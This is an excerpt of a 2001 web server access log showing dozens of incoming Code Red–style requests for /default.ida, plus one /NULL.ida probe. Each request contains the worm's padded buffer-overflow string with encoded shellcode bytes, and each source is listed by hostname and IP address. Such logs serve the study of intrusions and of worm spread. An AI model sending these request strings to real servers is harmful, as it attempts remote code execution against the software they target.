  1079. 20010831 14:45:39: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1080. 20010831 14:45:39: merlin.cc.columbia.edu [128.59.39.247] "GET /NULL.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=X HTTP/1.1"
  1081. 20010831 14:45:40: bme2000s.bme.columbia.edu [128.59.56.124] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1082. 20010831 16:21:37: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1083. 20010831 16:23:02:  [211.22.119.253] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1084. 20010831 17:17:32: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1085. 20010831 17:33:36: res192-60-57.resnet.jhu.edu [128.220.192.34] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1086. 20010831 18:03:31: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1087. 20010831 20:50:20: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1088. 20010831 21:20:30: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1089. 20010831 21:23:19: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1090. 20010831 21:57:09: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1091. 20010831 22:16:33: DUDU.REM.CMU.EDU [128.237.161.252] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1092. 20010901 00:44:19: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1093. 20010901 03:31:34: r138030.res.Lehigh.EDU [128.180.138.30] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1094. 20010901 04:48:35: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1095. 20010901 05:10:24:  [202.109.75.198] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1096. 20010901 05:26:07: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1097. 20010901 05:38:23: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1098. 20010901 06:16:15: jkyle.resnet.tamu.edu [128.194.5.197] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1099. 20010901 06:40:02: radio.clarkson.edu [128.153.154.35] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1100. 20010901 06:49:33:  [128.134.54.152] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1101. 20010901 06:53:05: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1102. 20010901 07:14:48: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1103. 20010901 07:20:09: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1104. 20010901 08:21:10:  [211.230.111.162] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1105. 20010901 08:22:49: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1106. 20010901 09:34:00: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1107. 20010901 10:09:38: dialup-cc2-50.cc.columbia.edu [128.59.58.155] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1108. 20010901 11:40:25: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1109. 20010901 12:17:07: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1110. 20010901 14:33:45: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1111. 20010901 14:49:47: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1112. 20010901 15:47:56: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1113. 20010901 16:16:34: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1114. 20010901 16:42:14:  [128.238.147.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1115. 20010901 17:21:17: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1116. 20010901 17:51:58: wsgrhl721.law.columbia.edu [128.59.176.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1117. 20010901 19:17:05: dialup-cc1-91.cc.columbia.edu [128.59.58.100] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
